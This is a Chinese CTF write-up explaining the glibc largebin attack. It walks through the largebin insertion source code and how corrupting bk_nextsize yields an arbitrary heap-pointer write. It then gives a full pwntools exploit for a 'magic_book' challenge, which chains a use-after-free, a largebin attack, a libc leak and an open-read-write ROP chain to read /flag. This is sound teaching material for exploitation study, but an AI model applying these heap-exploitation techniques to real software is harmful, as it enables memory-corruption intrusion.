large_bin的结构如下
/*This struct declaration is misleading (but accurate and necessary).It declares a "view" into memory allowing access to necessaryfields at known offsets from a given base. See explanation below.
*/
struct malloc_chunk {INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */struct malloc_chunk* fd; /* double links -- used only if free. */struct malloc_chunk* bk;/* Only used for large blocks: pointer to next larger size. */struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */struct malloc_chunk* bk_nextsize;
};
这个结构中的 fd_nextsize 和 bk_nextsize 来链接到下一个 size 的堆块头部和上一个 size 的堆块头部。 然后在相同 size 的堆块内部再通过 fd 和 bk 来进行内部的管理。
large_bin的组织结构
large_bin只有一个chunk
largebin 里放了一组同样大小的 chunk
largebin 里放了多组不同大小的 chunk
指针作用
如果我们“擦去”所谓的 nextsize 指针,就会发现 largebin 中的 chunk 还是用 fd 和 bk 的双向链表组织的。
然而每一个 largebin 所保存的 chunk 的 size 都是一个范围。largebin 的组织在内部是 fd 方向上 size 广义递减的(除了最后的 chunk),在 bk 方向上 size 是广义递增的(除了开头的 chunk)。
既然 size 有序,完全没必要单个遍历,需要进行插入时也是依据合适的 size 找到插入的位置。为此用 fd_nextsize 来记录下一个更大 size 的 chunk,用 bk_nextsize 来记录上一个更小 size 的 chunk。
原文链接:https://blog.csdn.net/Mr_Fmnwon/article/details/142330217
插入源码分析
// 从unsortedbin来,如果不插入smallbin
if (in_smallbin_range (size)){...
// 则插入largebin
}else{victim_index = largebin_index (size); //根据size找到对应的large_bin的索引bck = bin_at (av, victim_index); //获得对应的large_bin,bck为fwd = bck->fd; //获得当前large_bin的头chunkif (fwd != bck){ //检查large_bin非空size |= PREV_INUSE;/* if smaller than smallest, bypass loop below */assert (chunk_main_arena (bck->bk));// 特判,如果比最小的还小,则插入尾部if ((unsigned long) (size)< (unsigned long) chunksize_nomask (bck->bk)){...// 否则将开始循环依据size找到合适的位置}else{assert (chunk_main_arena (fwd));while ((unsigned long) size < chunksize_nomask (fwd)){fwd = fwd->fd_nextsize;assert (chunk_main_arena (fwd));}// 如果已经有该size的free chunk,则插在该size chunk的第二个位置// 注意,fd_nextsize和bk_nextsize都不需要变动,这也是插入到第二个的原因if ((unsigned long) size== (unsigned long) chunksize_nomask (fwd))/* Always insert in the second position. */fwd = fwd->fd;// 就是新的size,找到最近的大于该size/小于该size的free chunk的序列的第一个chunkelse{// 先对正在插入的chunk进行赋值,新插入chunk的两个nextsize已经指出去了victim->fd_nextsize = fwd;victim->bk_nextsize = fwd->bk_nextsize;// 然后就是将原本连在一起的旧的链上的指针更新,指向新插入的chunkfwd->bk_nextsize = victim;victim->bk_nextsize->fd_nextsize = victim;}bck = fwd->bk;}}elsevictim->fd_nextsize = victim->bk_nextsize = victim;
}
// 刚刚进行的都是nextsize的变动,接下来进行fd和bk的变动
// 已经找到了插入位置,即插入到fwd和bck这两个chunk之间,这对于所有情况都是一样,因此这块代码通用
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
攻击过程和效果
当进行插入操作时,就会进行如下改变
可以看到,两个地址都被写上了同一个堆指针,这就是largebin attack所能达成的效果。
glibc < 2.38
bck = bin_at (av, victim_index);
fwd = bck->fd;
if (fwd != bck){...if ((unsigned long) (size)< (unsigned long) chunksize_nomask (bck->bk)){fwd = bck;bck = bck->bk;// 待插入的chunk,填写好fd_nextsize和bk_nextsize指针域victim->fd_nextsize = fwd->fd;victim->bk_nextsize = fwd->fd->bk_nextsize;// 接下来对victim->bk_nextsize->fd_nextsize进行赋值,// 而刚刚进行了赋值:victim->bk_nextsize = fwd->fd->bk_nextsize;// 因此如果我们对fwd->fd->bk_nextsize进行修改// (bin中最小的chunk但是我们往往让bin中只有一个chunk)// 所以实际上 // (fwd->fd->bk_nextsize)->fd_nextsize=victim => target->fd_neextsize=victimfwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;}...
}
修改 chunk 的 bk_nextsize 域为 target 即可在释放一块更小的 chunk 到 largebin 时,在target->fd_nextsize,也即 [target+0x20] 写上刚刚进入 largebin 的 chunk 的头指针。
插入效果
触发条件
static void *
_int_malloc (mstate av, size_t bytes)
{...if (!checked_request2size (bytes, &nb)){__set_errno (ENOMEM);return NULL;} ...for (;; ){int iters = 0;// 如果unsortedbin不为空while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)){// victim是当前unsortedbin中的第一个块bck = victim->bk;size = chunksize (victim);mchunkptr next = chunk_at_offset (victim, size);.../* victim从unsortedbin中摘除 */if (__glibc_unlikely (bck->fd != victim))malloc_printerr ("malloc(): corrupted unsorted chunks 3");unsorted_chunks (av)->bk = bck;bck->fd = unsorted_chunks (av);.../* place chunk in bin */// 判断victim的大小是否属于smallbinif (in_smallbin_range (size)){victim_index = smallbin_index (size);bck = bin_at (av, victim_index);fwd = bck->fd;}else{victim_index = largebin_index (size);// bck是Largebin中的第一个chunkbck = bin_at (av, victim_index);// 在Largebin中只有一个块的时候,fwd指向的是Largebin链表头fwd = bck->fd;/* maintain large bins in sorted order */// 如果largebin不为空,则维护largebin的顺序性(小到大)if (fwd != bck){/* Or with inuse bit to speed comparisons */size |= PREV_INUSE;/* if smaller than smallest, bypass loop below */assert (chunk_main_arena (bck->bk));/* chunksize_nomask(bck->bk)取得的是Largebinbin中第一个chunk的大小size则是的unsortedbin中第一个chunk的大小*/if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){fwd = bck;bck = bck->bk;victim->fd_nextsize = fwd->fd;victim->bk_nextsize = fwd->fd->bk_nextsize;fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;}else{...}}else// 将victim视作largebin中的块victim->fd_nextsize = victim->bk_nextsize = victim;}// 将victim放入相应的bin链表中mark_bin (av, victim_index);victim->bk = bck;victim->fd = fwd;fwd->bk = victim;bck->fd = victim;...}
}
- 分配 chunk1:chunk1 的大小为 size1,且 size1 在 largebin 范围内。largebin 是用于存储较大块的 bin,通常用于管理较大的内存块。
- 分配 pad1:pad1 的作用是防止 chunk1 在释放时与 top chunk 合并。top chunk 是堆的顶部空闲内存区域,如果释放的块与 top chunk 相邻,系统会将其合并到 top chunk 中,而不是放入 unsorted bin。
- 分配 chunk2:chunk2 的大小为 size2,且 size2 < size1。chunk2 也被分配在 largebin 范围内。
- 分配 pad2:pad2 的作用与 pad1 类似,防止 chunk2 在释放时与 top chunk 合并。
- 释放 chunk1:当 chunk1 被释放时,它会被放入 unsorted bin 中,因为 unsorted bin 是释放块的第一站。
- 分配 size3 的块:此时,程序请求分配一个大小为 size3 的块,且 size3 > size1。由于 size3 大于 size1,堆管理器会从 unsorted bin 中查找是否有合适的块。由于 chunk1 的大小 size1 小于 size3,chunk1 无法直接满足这个请求。
在这种情况下,堆管理器会将 chunk1 从 unsorted bin 中移除,并将其放入 largebin 中。largebin 是按照块大小排序的,因此 chunk1 会被放入适当的 largebin 中,以便在后续的分配请求中能够快速找到合适大小的块。
例题
magic_book
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{int v3; // [rsp+Ch] [rbp-4h] BYREFinit(argc, argv, envp);sandbox();menu1();dest = malloc(0x100uLL);while ( 1 ){book = (unsigned __int16)book;menu2();__isoc99_scanf("%d", &v3);if ( v3 == 4 )exit(0);if ( v3 > 4 ){
LABEL_12:puts("Invalid choice");}else{switch ( v3 ){case 3:edit_the_book();break;case 1:creat_the_book();break;case 2:delete_the_book();break;default:goto LABEL_12;}}}
}
经典菜单设置了沙箱
└─$ seccomp-tools dump ./pwnline CODE JT JF K
=================================0000: 0x20 0x00 0x00 0x00000004 A = arch0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 00070002: 0x20 0x00 0x00 0x00000000 A = sys_number0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 00050004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 00070005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 00070006: 0x06 0x00 0x00 0x7fff0000 return ALLOW0007: 0x06 0x00 0x00 0x00000000 return KILL
创建函数
size_t creat_the_book()
{size_t v0; // rbxsize_t size[2]; // [rsp+Ch] [rbp-14h] BYREFif ( book > 5 ) //数量限制为5个{puts("full!!");exit(0);}printf("the book index is %d\n", book);puts("How many pages does your book need?");LODWORD(size[0]) = 0;__isoc99_scanf("%u", size);if ( LODWORD(size[0]) > 0x500 ) //最大为0x500{puts("wrong!!");exit(0);}v0 = book;p[v0] = malloc(LODWORD(size[0])); //p为堆管理结构return ++book;
}
编辑函数
void *edit_the_book()
{size_t v0; // raxchar buf[32]; // [rsp+0h] [rbp-20h] BYREFputs("come on,Write down your story!");read(0, buf, book); //book的值若够大,可造成栈溢出漏洞v0 = strlen(buf);return memcpy(dest, buf, v0);
}
删除函数
__int64 delete_the_book()
{unsigned int v1; // [rsp+0h] [rbp-10h] BYREFint v2; // [rsp+4h] [rbp-Ch] BYREFchar buf[8]; // [rsp+8h] [rbp-8h] BYREFputs("which book would you want to delete?");__isoc99_scanf("%d", &v2);if ( v2 > 5 || !p[v2] ){puts("wrong!!");exit(0);}free((void *)p[v2]); //存在uaf漏洞puts("Do you want to say anything else before being deleted?(y/n)");read(0, buf, 4uLL); //if ( d && (buf[0] == 89 || buf[0] == 121) ){puts("which page do you want to write?");__isoc99_scanf("%u", &v1);if ( v1 > 4 || !p[v2] ){puts("wrong!!");exit(0);}puts("content: ");read(0, (void *)(p[v1] + 8LL), 0x18uLL); //free_chunk的0x8-0x20处可写任意数--d;return 0LL;}else{if ( d )puts("ok!");elseputs("no ways!!");return 0LL;}
}
该题的思路
1.申请0x450,0x440,0x440(防止合并)大小的三个堆块
2.释放第一个堆块(此时进入unsortbin)
3.申请一个比第一个堆块大的堆块(此时进入largebin)
4.释放第二个堆块的同时,修改第一个堆块的bk_nextsize为book-0x20的位置
5.申请一个大堆块完成largebin_attack
6.栈溢出orw读取flag
完整exp
import os
import sys
import time
from pwn import *
from ctypes import *context.os = 'linux'
context.log_level = "debug"s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(io.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))def duan():gdb.attach(io)pause()x64_32 = 1
if x64_32:context.arch = 'amd64'
else:context.arch = 'i386'io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libcru("0x")
pie_base = int(io.recv(12),16) - 0x4010
leak("pie_base",pie_base)pop_rdi = 0x1863 + pie_base
pop_rsi_r15 = 0x1861 + pie_basedef cmd(index):ru("choice:")sl(index)def create(size):cmd(1)ru("book need?")sl(size)def edit(content):cmd(3)ru("story!\n")io.sendline(content)def delete1(index):cmd(2)ru("delete?")sl(index)ru("eleted?(y/n)")io.send('n')
def delete2(index,edit_index,content):cmd(2)ru("delete?")sl(index)ru("eleted?(y/n)")io.send('y')ru("write?")sl(edit_index)ru("content: ")io.send(content)puts_plt = elf.plt.puts + pie_base
puts_got = elf.got.puts + pie_base
target_addr = 0x4050 + pie_basecreate(0x450)#0
create(0x98)#1
create(0x430)#2
create(0x98)#3
delete1(0)
#chunk0首先会放入unsorted_bin中
create(0x460) #4
#size4>size0,chunk0会放入large_bin中
delete2(2,0,b'a'*0x10+p64(target_addr - 0x20))
#chun2进入unsorted中,此时large_bin
create(0x460)
###
#当程序分配一个可以进入 unsorted bin 的堆块时,堆管理器会遍历 unsorted bin,并将其中的块整理到 smallbin 或 largebin 中。
main=pie_base+0x172e
rdi=pie_base+0x1863
edit(b'a'*0x28 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(0x15E1+pie_base))
libc_base = uu64(io.recv(6)) - libc.sym['puts']
leak("libc_base",libc_base)readd=libc_base+libc.sym['read']
writee=libc_base+libc.sym['write']
openn=libc_base+libc.sym['open']
pop_rdx_r12 = 0x11f2e7 + libc_base
pop_rsi = 0x000000000002be51 + libc_baseorw = b'a'*0x28 + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(pie_base + 0x4090) + p64(pop_rdx_r12) + p64(0x100)*2 + p64(readd)
orw += p64(pop_rdi) + p64(pie_base+0x4090) + p64(pop_rsi) + p64(0) + p64(pop_rdx_r12) + p64(0)*2 + p64(openn)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(pie_base + 0x4090) + p64(pop_rdx_r12) + p64(0x100) *2 + p64(readd)
orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(pie_base + 0x4090) + p64(pop_rdx_r12) + p64(0x100)*2 + p64(writee)
ru("down your story!")
io.send(orw)
io.sendline(b"/flag\x00")
itr()
利用条件:
- 修改权限:能够修改 Largebin 中块的 bk_nextsize 字段。
- 堆块分配:程序能够分配至少三种不同大小的块,并确保这些块紧密相邻。
利用步骤:
- 分配堆块:
- 分配一块大小为 size1 且在 Largebin 范围内的块 chunk1。
- 分配一块任意大小的块 pad1,以防止在释放 chunk1 时系统将其与 top chunk 合并。
- 分配一块大小为 size2 且在 Largebin 范围内的块 chunk2,要求 size2 < size1 且 chunk2 紧邻 chunk1。
- 分配一块任意大小的块 pad2,以防止在释放 chunk2 时系统将其与 top chunk 合并。
- 释放并重新分配:
- 释放 chunk1,此时系统会将其放入 unsortedbin。再分配一个大小为 size3 的块,要求 size3 > size1,此时系统会将 chunk1 放进 Largebin 中。
- 确保 chunk2 紧邻 chunk1。
- 释放 chunk2 进入 unsortedbin。
- 修改指针:
- 修改 chunk1->bk_nextsize 为 Target - 0x20。
- 触发攻击:
- 随意分配一个可以进入unsortbin的堆块,就会触发 Largebin attack。
参考:https://blog.csdn.net/qq_41252520/article/details/126211062
https://www.cnblogs.com/CH13hh/p/18319386